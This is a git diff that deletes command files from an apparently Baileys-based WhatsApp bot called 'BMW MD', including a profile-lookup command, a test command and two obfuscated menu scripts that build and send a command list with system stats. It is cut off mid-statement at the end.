-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-const {adams} = require("../Ibrahim/adams");
-const conf = require("../config")
-const {jidDecode}=require("@whiskeysockets/baileys")
-
-
-adams( {
- nomCom : "profile",
- categorie : "Fun",
- },
- async(dest,zk, commandeOptions)=> {
-
- const {ms , arg, repondre,auteurMessage,nomAuteurMessage, msgRepondu , auteurMsgRepondu} = commandeOptions ;
- let jid = null
- let nom = null ;
-
-
-
-
-
- if (!msgRepondu) {
- jid = auteurMessage;
- nom = nomAuteurMessage;
-
- try { ppUrl = await zk.profilePictureUrl(jid , 'image') ; } catch { ppUrl = conf.IMAGE_MENU};
- const status = await zk.fetchStatus(jid) ;
-
- mess = {
- image : { url : ppUrl },
- caption : '*Nom :* '+ nom + '\n*Status :*\n' + status.status
- }
-
- } else {
- jid = auteurMsgRepondu;
- nom ="@"+auteurMsgRepondu.split("@")[0] ;
-
- try { ppUrl = await zk.profilePictureUrl(jid , 'image') ; } catch { ppUrl = conf.IMAGE_MENU};
- const status = await zk.fetchStatus(jid) ;
-
- mess = {
- image : { url : ppUrl },
- caption : '*Name :* '+ nom + '\n*Status :*\n' + status.status,
- mentions:[auteurMsgRepondu]
- }
-
- } ;
-
-
-
-
-
- zk.sendMessage(dest,mess,{quoted : ms})
- });
diff --git a/scs/bmwbi.js b/scs/bmwbi.js
deleted file mode 100644
index 0dfe8ff..0000000
--- a/scs/bmwbi.js
+++ /dev/null
@@ -1,14 +0,0 @@
-"use strict";
-Object.defineProperty(exports, "__esModule", { value: true });
-const { adams } = require("../Ibrahim/adams");
-adams({ nomCom: "test", reaction: "🧒", nomFichier: __filename }, async (dest, zk, commandeOptions) => {
- console.log("Commande saisie !!!s");
- let z = '*🌍𝑩𝒐𝒕 𝒊𝒔 𝒐𝒏𝒍𝒊𝒏𝒆🌍* 🙏 \n\n ' + "𝑻𝒉𝒆 𝒃𝒐𝒕 𝒊𝒔 𝒄𝒖𝒓𝒓𝒆𝒏𝒕𝒍𝒚 𝒘𝒐𝒓𝒌𝒊𝒏𝒈 𝒐𝒏 𝒂 𝒈𝒐𝒐𝒅 𝒔𝒑𝒆𝒆𝒅😉👍";
- let d = ' 𝑯𝒆𝒂𝒍𝒕𝒉 𝒔𝒕𝒂𝒕𝒖𝒔✨';
- let varmess = z + d;
- var mp4 = 'https://telegra.ph/file/ce58cf8c538b1496fda33.mp4';
- await zk.sendMessage(dest, { video: { url: mp4 }, caption: varmess });
- //console.log("montest")
-});
-console.log("mon test");
-
diff --git a/scs/bmwbo.js b/scs/bmwbo.js
deleted file mode 100644
index 0e884d8..0000000
--- a/scs/bmwbo.js
+++ /dev/null
@@ -1 +0,0 @@
-const _0x33c026=_0x30bf;function _0x455c(){const _0x3d94cf=['RImjt','*\x20*❒*','oDtxn','\x20m,\x20','hour','TliRY','uibQx','Y\x20IBRAHIM','*\x0a┇\x20ᴛʏᴘᴇ:\x20','dirmY','JEvor','4944284NbaIAu','TyZGY','*\x0a┇\x20ᴄᴀᴘᴀᴄɪ','\x20minute,\x20','b\x20stats:','.moe/ytix9','FUdCH','\x20🌍\x0a\x0a','iZcQc','BWM-XMD','nudMB','BMW\x20MD\x20SON','\x0a*╰─══════','platform','format','\x20second','*\x0a┇\x20ᴘʀᴇғɪx','┈┈━═──━┈⊷\x0a','rUhvv','oNBBN','5hgedwp','Bsjoz','©Ibrahim\x20A','audio/mp4','5.mp3','mOwdi','*╭────❒*\x20*','emzwF','M0Y','▄▀▄▀▄▀▄▀▄▀','dams','categorie','keys','DD/MM/YYYY','mxYbU','Good\x20after','\x0a╭─────═━┈','toLowerCas','moment-tim','DpUBp','5383882CRcTQZ','fdmIS','▀▄▀▄▀▄\x0a©𝑰𝒃','┈━═──━┈⊷\x0a\x0a','JsxiB','reur\x20','wIqfT','029VaZuGSx','ᴛᴇ:\x20*','\x20h,\x20','\x0a*╏*\x20','sort','axios','ᴛʏ\x20','\x20day,\x20','mhgrW','RwDZf','0|3|5|8|4','AASmJ','Good\x20morni','\x0a🌍\x20𝐁𝐄𝐒𝐓\x20𝐖𝐇','zAHCW','m/adams','jQvLG','VhSKI','util','IVlaV','zgrNH','\x20]*\x0a┇\x20ᴘʟᴀᴛ','hing\x20GitHu','atsapp.com','MWxdB','.moe/oordg','𝐀𝐓𝐒𝐀𝐏𝐏\x20𝐁𝐎𝐓','https://wh','mxCFa','ezone','zqdrd','13754493DRVkXH','m/mesfonct','lwYMe','\x0a▄▀▄▀▄▀▄▀▄','2304918DYGmHY','NIeUG','fs-extra','owSHE','error','Good\x20night','sendMessag','izCtf',':\x20*[\x20','fromCharCo','Devibraah/','*\x0a┇\x20ᴛɪᴍᴇ:\x20','toLocaleSt','KUzUF','juuwi','BMW\x20SONG\x20B','\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a','\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:','═══════❒*\x0a','abuOj','om/repos/','q.jpeg','/channel/0','push','https://fi','toUpperCas','.moe/va22v','idcll','\x20\x0a╭─────═━','ᴏᴍᴍᴀɴᴅ\x20ʟɪs','les.catbox','38wLWJWb','crKPF','private','tuMNF','6|9|2|7|1|','mKOva','floor','LiCzQ','HH:mm:ss','ions','𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎','ғᴏʀᴍ:\x20*','▄▀▄▀▄','data','https://ap','/../config','get','*ᴠ6x*\x0a┇\x20ᴅᴀ','SxrOv','vpAAx','EawdxZK9Cz','ring','foozC','bdbFM','1958736dJWzTs','nomCom','totalmem','oLEui','SxIre','\x20hour,\x20','PeHLA','noon','forks_coun','suPbw','repeat','11453080AxqxkM','62483nyEFKe','┈━═──━┈⊷\x0a┇','ᴛ\x0a╰─────═━','yNCTP','General','MODE','map','freemem','\x20d,\x20','SaZDJ','Error\x20fetc','VZVcb','_count','split','🥵🥵\x20Menu\x20er','WHXVY','f.jpeg','setDefault','unPpG','menu','┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄ','forEach','┇\x20ᴍᴏᴅᴇ:\x20*','zjhse','\x0a╰─────═━┈','10PSIdvA','i.github.c','/../Ibrahi','stargazers','public','𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a','log','rPPBR','Good\x20eveni','VYDbd','FFhqe'];_0x455c=function(){return _0x3d94cf;};return _0x455c();}function _0x30bf(_0x41153f,_0x261347){const _0x2c7721=_0x455c();return _0x30bf=function(_0x10f078,_0x580824){_0x10f078=_0x10f078-(0x1*0x273+0x18d*-0x3+0x16*0x27);let _0x2f8b21=_0x2c7721[_0x10f078];return _0x2f8b21;},_0x30bf(_0x41153f,_0x261347);}(function(_0x2894f6,_0x21c40f){const _0x9f247b=_0x30bf,_0x546163=_0x2894f6();while(!![]){try{const _0x2bcd5f=-parseInt(_0x9f247b(0x185))/(0x5*-0xce+-0x1a0+-0x1*-0x5a7)*(parseInt(_0x9f247b(0x161))/(0x1967+-0xe21*-0x1+-0x2786*0x1))+parseInt(_0x9f247b(0x142))/(-0x7ab*0x1+-0x365*0x1+0xb13)+-parseInt(_0x9f247b(0x1b4))/(0x17e7+0x1f9+-0x14*0x14b)*(parseInt(_0x9f247b(0x1c8))/(-0x7ca+-0x1*-0x1d7b+-0x15ac))+parseInt(_0x9f247b(0x179))/(-0x5*-0x66b+0x2fd*0xb+0x40f*-0x10)+-parseInt(_0x9f247b(0x1dc))/(-0x178c+0x22+-0x161*-0x11)+parseInt(_0x9f247b(0x184))/(0x7d2+0x1d89+0x93*-0x41)+-parseInt(_0x9f247b(0x13e))/(-0x11*-0x12f+-0x1c10+-0x2*-0x3fd)*(-parseInt(_0x9f247b(0x19e))/(0x156b*-0x1+0x1*-0x50f+0x1a84));if(_0x2bcd5f===_0x21c40f)break;else _0x546163['push'](_0x546163['shift']());}catch(_0x3e692f){_0x546163['push'](_0x546163['shift']());}}}(_0x455c,0xe2797+-0x9fcd3+-0x1*-0x8fd98));const util=require(_0x33c026(0x131)),fs=require(_0x33c026(0x144)),axios=require(_0x33c026(0x1e8)),{adams}=require(__dirname+(_0x33c026(0x1a0)+_0x33c026(0x12e))),{format}=require(__dirname+(_0x33c026(0x1a0)+_0x33c026(0x13f)+_0x33c026(0x16a))),os=require('os'),moment=require(_0x33c026(0x1da)+_0x33c026(0x13c)),s=require(__dirname+_0x33c026(0x170)),more=String[_0x33c026(0x14b)+'de'](-0x542+0x1*0xc49+-0x2b*-0x95),readmore=more[_0x33c026(0x183)](-0x6d6+-0xb20+0x2197),runtime=function(_0x873b1){const _0x94ce4b=_0x33c026,_0xe11dfc={'suPbw':_0x94ce4b(0x165)+_0x94ce4b(0x129),'zqdrd':function(_0x34db4d,_0x3dce9b){return _0x34db4d>_0x3dce9b;},'FFhqe':function(_0x499000,_0x1654cf){return _0x499000+_0x1654cf;},'vpAAx':function(_0x21778a,_0x261585){return _0x21778a==_0x261585;},'wIqfT':_0x94ce4b(0x126),'AASmJ':_0x94ce4b(0x18d),'crKPF':function(_0x2e392c,_0x4849a7){return _0x2e392c%_0x4849a7;},'SxIre':function(_0x3809df,_0x3d87a7){return _0x3809df/_0x3d87a7;},'oLEui':function(_0x34c7d3,_0x460a1b){return _0x34c7d3%_0x460a1b;},'PeHLA':function(_0x4e758f,_0x14cb3f){return _0x4e758f*_0x14cb3f;},'rPPBR':function(_0x180c96,_0x3f7ab3){return _0x180c96+_0x3f7ab3;},'izCtf':_0x94ce4b(0x17e),'DpUBp':_0x94ce4b(0x1e5),'idcll':function(_0x31be7b,_0xc1f949){return _0x31be7b+_0xc1f949;},'MWxdB':function(_0xdca2c0,_0x31a8c9){return _0xdca2c0+_0x31a8c9;},'TliRY':function(_0x3657f9,_0xe12ea2){return _0x3657f9+_0xe12ea2;},'oDtxn':function(_0x3a5223,_0x38ff0f){return _0x3a5223+_0x38ff0f;},'zjhse':_0x94ce4b(0x1b7),'zgrNH':_0x94ce4b(0x1ac),'mKOva':function(_0x32df98,_0x5ed3f2){return _0x32df98(_0x5ed3f2);},'mxYbU':function(_0x2089e6,_0x208d46){return _0x2089e6%_0x208d46;},'mxCFa':function(_0x372174,_0x1c18b8){return _0x372174+_0x1c18b8;},'Bsjoz':_0x94ce4b(0x1c3),'TyZGY':function(_0x46cb15,_0x21b3ea){return _0x46cb15/_0x21b3ea;},'iZcQc':function(_0x4b524c,_0x51c3cd){return _0x4b524c*_0x51c3cd;}},_0x279561=_0xe11dfc[_0x94ce4b(0x182)][_0x94ce4b(0x192)]('|');let _0x22ad60=0x259b*0x1+0x95*0x2f+-0x40f6;while(!![]){switch(_0x279561[_0x22ad60++]){case'0':var _0x4b536a=_0xe11dfc[_0x94ce4b(0x13d)](_0x34ee6f,0x1a8d+0x13d*-0x7+-0x2fb*0x6)?_0xe11dfc[_0x94ce4b(0x1a8)](_0x34ee6f,_0xe11dfc[_0x94ce4b(0x174)](_0x34ee6f,-0x1067+-0x67*-0x33+0x1*-0x41d)?_0xe11dfc[_0x94ce4b(0x1e2)]:_0xe11dfc[_0x94ce4b(0x12a)]):'';continue;case'1':var _0x5cf8cb=Math[_0x94ce4b(0x167)](_0xe11dfc[_0x94ce4b(0x162)](_0x873b1,-0x133d+-0x2*-0x76+0x62f*0x3));continue;case'2':var _0x306131=Math[_0x94ce4b(0x167)](_0xe11dfc[_0x94ce4b(0x17d)](_0xe11dfc[_0x94ce4b(0x17c)](_0x873b1,_0xe11dfc[_0x94ce4b(0x17f)](0x1290+0xc8f+-0x110f,0x1*-0x1ac6+0x1*-0x1b3+-0x1c91*-0x1)),0x1fe7+-0x13d*0xd+-0x1be));continue;case'3':var _0x1dbae9=_0xe11dfc[_0x94ce4b(0x13d)](_0x306131,0x43*-0x42+0x1e51*-0x1+-0x3*-0xfdd)?_0xe11dfc[_0x94ce4b(0x1a5)](_0x306131,_0xe11dfc[_0x94ce4b(0x174)](_0x306131,-0x1*-0x1457+0x198d+-0x2de3)?_0xe11dfc[_0x94ce4b(0x149)]:_0xe11dfc[_0x94ce4b(0x1db)]):'';continue;case'4':return _0xe11dfc[_0x94ce4b(0x15d)](_0xe11dfc[_0x94ce4b(0x137)](_0xe11dfc[_0x94ce4b(0x1ae)](_0x4b536a,_0x1dbae9),_0x53009a),_0x385333);case'5':var _0x53009a=_0xe11dfc[_0x94ce4b(0x13d)](_0x5b1332,-0x7f7+0x9a4*-0x2+0x1b3f)?_0xe11dfc[_0x94ce4b(0x1ab)](_0x5b1332,_0xe11dfc[_0x94ce4b(0x174)](_0x5b1332,0xcab+-0x1201*-0x1+-0x1eab)?_0xe11dfc[_0x94ce4b(0x19c)]:_0xe11dfc[_0x94ce4b(0x133)]):'';continue;case'6':_0x873b1=_0xe11dfc[_0x94ce4b(0x166)](Number,_0x873b1);continue;case'7':var _0x5b1332=Math[_0x94ce4b(0x167)](_0xe11dfc[_0x94ce4b(0x17d)](_0xe11dfc[_0x94ce4b(0x1d6)](_0x873b1,0x190*0xe+-0x1dcb+0x15fb),0x1a4e+-0x53f+-0x14d3*0x1));continue;case'8':var _0x385333=_0xe11dfc[_0x94ce4b(0x13d)](_0x5cf8cb,0x1bf2+-0x858+-0xd*0x182)?_0xe11dfc[_0x94ce4b(0x13b)](_0x5cf8cb,_0xe11dfc[_0x94ce4b(0x174)](_0x5cf8cb,0x399*-0x2+-0x1*-0x21b4+-0x1a81)?_0xe11dfc[_0x94ce4b(0x1c9)]:'\x20s'):'';continue;case'9':var _0x34ee6f=Math[_0x94ce4b(0x167)](_0xe11dfc[_0x94ce4b(0x1b5)](_0x873b1,_0xe11dfc[_0x94ce4b(0x1bc)](0x3*0x653+0x1900+-0x1de9,-0x22b3*-0x1+-0x2*-0x5a5+0x17b*-0x1f)));continue;}break;}},fetchGitHubStats=async()=>{const _0x3b81be=_0x33c026,_0x3480eb={'VhSKI':_0x3b81be(0x14c)+_0x3b81be(0x1bd),'SxrOv':function(_0xa9670b,_0x541f23){return _0xa9670b+_0x541f23;},'oNBBN':function(_0x6456be,_0x62b466){return _0x6456be*_0x62b466;},'dirmY':_0x3b81be(0x18f)+_0x3b81be(0x135)+_0x3b81be(0x1b8)};try{const _0x49f05f=_0x3480eb[_0x3b81be(0x130)],_0x1975b9=await axios[_0x3b81be(0x171)](_0x3b81be(0x16f)+_0x3b81be(0x19f)+_0x3b81be(0x156)+_0x49f05f),_0x4430ab=_0x1975b9[_0x3b81be(0x16e)][_0x3b81be(0x181)+'t'],_0x4d427d=_0x1975b9[_0x3b81be(0x16e)][_0x3b81be(0x1a1)+_0x3b81be(0x191)],_0x3ae45a=_0x3480eb[_0x3b81be(0x173)](_0x3480eb[_0x3b81be(0x1c7)](_0x4430ab,0x704*0x5+-0xeb3+-0x145f),_0x3480eb[_0x3b81be(0x1c7)](_0x4d427d,-0x2*0x36e+0x22c5*0x1+-0x1be7));return{'forks':_0x4430ab,'stars':_0x4d427d,'totalUsers':_0x3ae45a};}catch(_0x518725){return console[_0x3b81be(0x146)](_0x3480eb[_0x3b81be(0x1b2)],_0x518725),{'forks':0x0,'stars':0x0,'totalUsers':0x0};}};adams({'nomCom':_0x33c026(0x198),'categorie':_0x33c026(0x189)},async(_0x52c2d8,_0x52f7e8,_0x5e3e26)=>{const _0x1cbcab=_0x33c026,_0x1224a6={'unPpG':function(_0x2411ab,_0x1f06d8){return _0x2411ab(_0x1f06d8);},'WHXVY':function(_0x9d5107,_0x52e16d){return _0x9d5107+_0x52e16d;},'lwYMe':_0x1cbcab(0x1a0)+_0x1cbcab(0x12e),'LiCzQ':function(_0x196bf0,_0x3b9c73){return _0x196bf0===_0x3b9c73;},'jQvLG':_0x1cbcab(0x1a2),'NIeUG':_0x1cbcab(0x163),'RImjt':function(_0x55a917){return _0x55a917();},'SaZDJ':_0x1cbcab(0x169),'rUhvv':_0x1cbcab(0x1d5),'JsxiB':_0x1cbcab(0x147),'VYDbd':function(_0x591e0d,_0x533eec){return _0x591e0d>=_0x533eec;},'nudMB':function(_0x5beff8,_0x51f3e3){return _0x5beff8<=_0x51f3e3;},'mhgrW':_0x1cbcab(0x12b)+'ng','foozC':function(_0x2ec55d,_0x2467c4){return _0x2ec55d>=_0x2467c4;},'KUzUF':function(_0x33153e,_0x3ad6e3){return _0x33153e<=_0x3ad6e3;},'yNCTP':_0x1cbcab(0x1d7)+_0x1cbcab(0x180),'IVlaV':function(_0x560af4,_0x1a5de1){return _0x560af4<=_0x1a5de1;},'FUdCH':_0x1cbcab(0x1a6)+'ng','zAHCW':function(_0x589f58){return _0x589f58();},'mOwdi':function(_0x4071c8,_0x4f9b15){return _0x4071c8-_0x4f9b15;},'tuMNF':function(_0x25b0df,_0x20708e){return _0x25b0df(_0x20708e);},'bdbFM':function(_0xf004cd,_0x8761){return _0xf004cd+_0x8761;},'VZVcb':_0x1cbcab(0x1ca)+_0x1cbcab(0x1d2),'fdmIS':_0x1cbcab(0x15a)+_0x1cbcab(0x160)+_0x1cbcab(0x1b9)+_0x1cbcab(0x195),'RwDZf':_0x1cbcab(0x13a)+_0x1cbcab(0x136)+_0x1cbcab(0x158)+_0x1cbcab(0x1e3)+_0x1cbcab(0x175)+_0x1cbcab(0x1d0),'juuwi':_0x1cbcab(0x15a)+_0x1cbcab(0x160)+_0x1cbcab(0x138)+_0x1cbcab(0x1cc),'abuOj':_0x1cbcab(0x1cb),'emzwF':_0x1cbcab(0x1bf)+'G','JEvor':_0x1cbcab(0x151)+_0x1cbcab(0x1b0),'uibQx':_0x1cbcab(0x15a)+_0x1cbcab(0x160)+_0x1cbcab(0x15c)+_0x1cbcab(0x157),'owSHE':_0x1cbcab(0x193)+_0x1cbcab(0x1e1)};let {ms:_0x110614,repondre:_0x1ce91b,prefixe:_0x499c31,nomAuteurMessage:_0x9fe1e8}=_0x5e3e26,{cm:_0x30e0b5}=_0x1224a6[_0x1cbcab(0x197)](require,_0x1224a6[_0x1cbcab(0x194)](__dirname,_0x1224a6[_0x1cbcab(0x140)]));var _0x1c5a0d={},_0x14a6e0=_0x1224a6[_0x1cbcab(0x168)](s[_0x1cbcab(0x18a)][_0x1cbcab(0x1d9)+'e'](),_0x1224a6[_0x1cbcab(0x12f)])?_0x1224a6[_0x1cbcab(0x12f)]:_0x1224a6[_0x1cbcab(0x143)];_0x30e0b5[_0x1cbcab(0x18b)](_0x297434=>{const _0x5417a7=_0x1cbcab,_0x259eaf=_0x297434[_0x5417a7(0x1d3)][_0x5417a7(0x15b)+'e']();if(!_0x1c5a0d[_0x259eaf])_0x1c5a0d[_0x259eaf]=[];_0x1c5a0d[_0x259eaf][_0x5417a7(0x159)](_0x297434[_0x5417a7(0x17a)]);}),moment['tz'][_0x1cbcab(0x196)](''+s['TZ']);const _0x3111ea=_0x1224a6[_0x1cbcab(0x1a9)](moment)[_0x1cbcab(0x1c2)](_0x1224a6[_0x1cbcab(0x18e)]),_0x3dc761=_0x1224a6[_0x1cbcab(0x1a9)](moment)[_0x1cbcab(0x1c2)](_0x1224a6[_0x1cbcab(0x1c6)]),_0x8c6e11=_0x1224a6[_0x1cbcab(0x1a9)](moment)[_0x1cbcab(0x1ad)]();let _0x183fba=_0x1224a6[_0x1cbcab(0x1e0)];if(_0x1224a6[_0x1cbcab(0x1a7)](_0x8c6e11,-0x16e5+0x360+0x1385)&&_0x1224a6[_0x1cbcab(0x1be)](_0x8c6e11,0x58f*0x7+0x15*-0xcb+-0x1*0x1637))_0x183fba=_0x1224a6[_0x1cbcab(0x127)];else{if(_0x1224a6[_0x1cbcab(0x177)](_0x8c6e11,-0x1546+-0x1702+0x2c54)&&_0x1224a6[_0x1cbcab(0x14f)](_0x8c6e11,0x2b*-0x81+-0x1ca8+0x3263))_0x183fba=_0x1224a6[_0x1cbcab(0x188)];else{if(_0x1224a6[_0x1cbcab(0x1a7)](_0x8c6e11,-0x11b*-0x21+0x942+-0x2dad)&&_0x1224a6[_0x1cbcab(0x132)](_0x8c6e11,0x1f69+0x1*-0xfef+-0xf65*0x1))_0x183fba=_0x1224a6[_0x1cbcab(0x1ba)];}}const {totalUsers:_0x315af3}=await _0x1224a6[_0x1cbcab(0x12d)](fetchGitHubStats),_0x28cc42=_0x315af3[_0x1cbcab(0x14e)+_0x1cbcab(0x176)]();let _0x39a6a8=_0x1cbcab(0x1d8)+_0x1cbcab(0x186)+_0x1cbcab(0x153)+_0x1cbcab(0x152)+_0x1cbcab(0x19b)+_0x14a6e0+(_0x1cbcab(0x1c4)+_0x1cbcab(0x14a))+_0x499c31+(_0x1cbcab(0x134)+_0x1cbcab(0x16c))+os[_0x1cbcab(0x1c1)]()+(_0x1cbcab(0x1b1)+_0x1cbcab(0x172)+_0x1cbcab(0x1e4))+_0x3dc761+(_0x1cbcab(0x14d)+'*')+_0x3111ea+(_0x1cbcab(0x1b6)+_0x1cbcab(0x1e9))+_0x1224a6[_0x1cbcab(0x197)](format,_0x1224a6[_0x1cbcab(0x1cd)](os[_0x1cbcab(0x17b)](),os[_0x1cbcab(0x18c)]()))+'/'+_0x1224a6[_0x1cbcab(0x164)](format,os[_0x1cbcab(0x17b)]())+(_0x1cbcab(0x19d)+_0x1cbcab(0x1df)+_0x1cbcab(0x12c)+_0x1cbcab(0x139)+_0x1cbcab(0x1bb)),_0x1761c8=readmore+(_0x1cbcab(0x15e)+_0x1cbcab(0x1c5)+_0x1cbcab(0x199)+_0x1cbcab(0x15f)+_0x1cbcab(0x187)+_0x1cbcab(0x1c5)+'\x0a');const _0x286ced=Object[_0x1cbcab(0x1d4)](_0x1c5a0d)[_0x1cbcab(0x1e7)]();_0x286ced[_0x1cbcab(0x19a)](_0x2ea2b2=>{const _0x35b1b9=_0x1cbcab;_0x1761c8+=_0x35b1b9(0x1ce)+_0x2ea2b2+_0x35b1b9(0x1aa),_0x1c5a0d[_0x2ea2b2][_0x35b1b9(0x19a)](_0x103ad1=>{const _0x26ed7d=_0x35b1b9;_0x1761c8+=_0x26ed7d(0x1e6)+_0x103ad1;}),_0x1761c8+=_0x35b1b9(0x1c0)+_0x35b1b9(0x154);}),_0x1761c8+=_0x1cbcab(0x141)+_0x1cbcab(0x1de)+_0x1cbcab(0x16b)+_0x1cbcab(0x1a3)+_0x1cbcab(0x1d1)+_0x1cbcab(0x16d);try{await _0x52f7e8[_0x1cbcab(0x148)+'e'](_0x52c2d8,{'text':_0x1224a6[_0x1cbcab(0x178)](_0x39a6a8,_0x1761c8),'contextInfo':{'mentionedJid':[_0x9fe1e8],'externalAdReply':{'body':_0x1224a6[_0x1cbcab(0x190)],'thumbnailUrl':_0x1224a6[_0x1cbcab(0x1dd)],'sourceUrl':_0x1224a6[_0x1cbcab(0x128)],'mediaType':0x1,'rendersmallThumbnail':!![]}}}),await _0x52f7e8[_0x1cbcab(0x148)+'e'](_0x52c2d8,{'audio':{'url':_0x1224a6[_0x1cbcab(0x150)]},'mimetype':_0x1224a6[_0x1cbcab(0x155)],'ptt':![],'caption':_0x1224a6[_0x1cbcab(0x1cf)],'contextInfo':{'externalAdReply':{'body':_0x1224a6[_0x1cbcab(0x1b3)],'thumbnailUrl':_0x1224a6[_0x1cbcab(0x1af)],'sourceUrl':_0x1224a6[_0x1cbcab(0x128)],'rendersmallThumbnail':![]}}});}catch(_0x452d00){console[_0x1cbcab(0x1a4)](_0x1224a6[_0x1cbcab(0x178)](_0x1224a6[_0x1cbcab(0x145)],_0x452d00)),_0x1224a6[_0x1cbcab(0x197)](_0x1ce91b,_0x1224a6[_0x1cbcab(0x194)](_0x1224a6[_0x1cbcab(0x145)],_0x452d00));}});
diff --git a/scs/bmwboo.js b/scs/bmwboo.js
deleted file mode 100644
index 8a0219b..0000000
--- a/scs/bmwboo.js
+++ /dev/null
@@ -1 +0,0 @@
-function _0x2b3c(_0x16c484,_0x2d5d41){const _0x265a32=_0x265a();return _0x2b3c=function(_0x2b3cbf,_0x2c5322){_0x2b3cbf=_0x2b3cbf-0x15e;let _0x54fadc=_0x265a32[_0x2b3cbf];return _0x54fadc;},_0x2b3c(_0x16c484,_0x2d5d41);}const _0x1284c5=_0x2b3c;(function(_0x44f7b0,_0x5c218e){const _0x5ac986=_0x2b3c,_0x4bf92b=_0x44f7b0();while(!![]){try{const _0x2ca696=-parseInt(_0x5ac986(0x161))/0x1*(-parseInt(_0x5ac986(0x180))/0x2)+-parseInt(_0x5ac986(0x165))/0x3*(parseInt(_0x5ac986(0x183))/0x4)+parseInt(_0x5ac986(0x189))/0x5*(parseInt(_0x5ac986(0x18a))/0x6)+-parseInt(_0x5ac986(0x17a))/0x7*(-parseInt(_0x5ac986(0x177))/0x8)+-parseInt(_0x5ac986(0x16d))/0x9+-parseInt(_0x5ac986(0x17e))/0xa*(parseInt(_0x5ac986(0x168))/0xb)+parseInt(_0x5ac986(0x16c))/0xc;if(_0x2ca696===_0x5c218e)break;else _0x4bf92b['push'](_0x4bf92b['shift']());}catch(_0x378a47){_0x4bf92b['push'](_0x4bf92b['shift']());}}}(_0x265a,0x32d21));const util=require('util'),fs=require(_0x1284c5(0x173)),{adams}=require(__dirname+_0x1284c5(0x186)),{format}=require(__dirname+'/../Ibrahim/mesfonctions'),os=require('os'),moment=require(_0x1284c5(0x160)),s=require(__dirname+_0x1284c5(0x167)),more=String[_0x1284c5(0x187)](0x200e),Taphere=more[_0x1284c5(0x16e)](0xfa1);adams({'nomCom':_0x1284c5(0x16f),'categorie':'General'},async(_0x15bd1b,_0x34ad3b,_0x225f1b)=>{const _0x589ec1=_0x1284c5;let {ms:_0x42419d,repondre:_0x4a57b6,prefixe:_0x2fc159,nomAuteurMessage:_0x19fe77,mybotpic:_0x15306d}=_0x225f1b,{cm:_0xbc2887}=require(__dirname+'/../Ibrahim//adams');var _0x4c7b14={},_0x242361=_0x589ec1(0x163);s['MODE'][_0x589ec1(0x169)]()!=_0x589ec1(0x166)&&(_0x242361=_0x589ec1(0x162));_0xbc2887[_0x589ec1(0x176)](async(_0x4bc1db,_0x410859)=>{const _0x37d376=_0x589ec1;if(!_0x4c7b14[_0x4bc1db[_0x37d376(0x171)]])_0x4c7b14[_0x4bc1db['categorie']]=[];_0x4c7b14[_0x4bc1db[_0x37d376(0x171)]]['push'](_0x4bc1db[_0x37d376(0x185)]);}),moment['tz'][_0x589ec1(0x179)](_0x589ec1(0x188));const _0x49a8d9=moment()[_0x589ec1(0x184)](_0x589ec1(0x172)),_0x48bf66=moment()['format'](_0x589ec1(0x174));let _0x5f0c7e=_0x589ec1(0x15f)+_0x19fe77+'*\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐌𝐀𝐈𝐍』\x0a┇\x20🤖\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a┇\x20💢\x20ᴛʏᴘᴇ:\x20*ᴠ6x*\x0a┇\x20🥷\x20ᴅᴇᴠ:\x20*sɪʀ\x20ɪʙʀᴀʜɪᴍ*\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐒𝐘𝐒𝐓𝐄𝐌』\x0a┇\x20📍\x20ᴠᴇʀꜱɪᴏɴ:\x20*6.0.3*\x0a┇\x20💻\x20ᴘʟᴀᴛғᴏʀᴍ:\x20*'+os[_0x589ec1(0x181)]()+'*\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐌𝐎𝐃𝐄』\x0a┇\x20⭕\x20ᴍᴏᴅᴇ:\x20*'+_0x242361+'*\x0a┇\x20💫\x20ᴘʀᴇғɪx:\x20*[\x20'+_0x2fc159+_0x589ec1(0x15e)+_0x49a8d9+_0x589ec1(0x178)+_0x48bf66+_0x589ec1(0x164),_0x54f82b=_0x589ec1(0x17f);for(const _0x10dbdd in _0x4c7b14){_0x54f82b+=_0x589ec1(0x16b)+_0x10dbdd+'*\x20*❒*';for(const _0x2bf9c1 of _0x4c7b14[_0x10dbdd]){_0x54f82b+=_0x589ec1(0x182)+_0x2bf9c1;}_0x54f82b+=_0x589ec1(0x17c);}_0x54f82b+=_0x589ec1(0x175);var 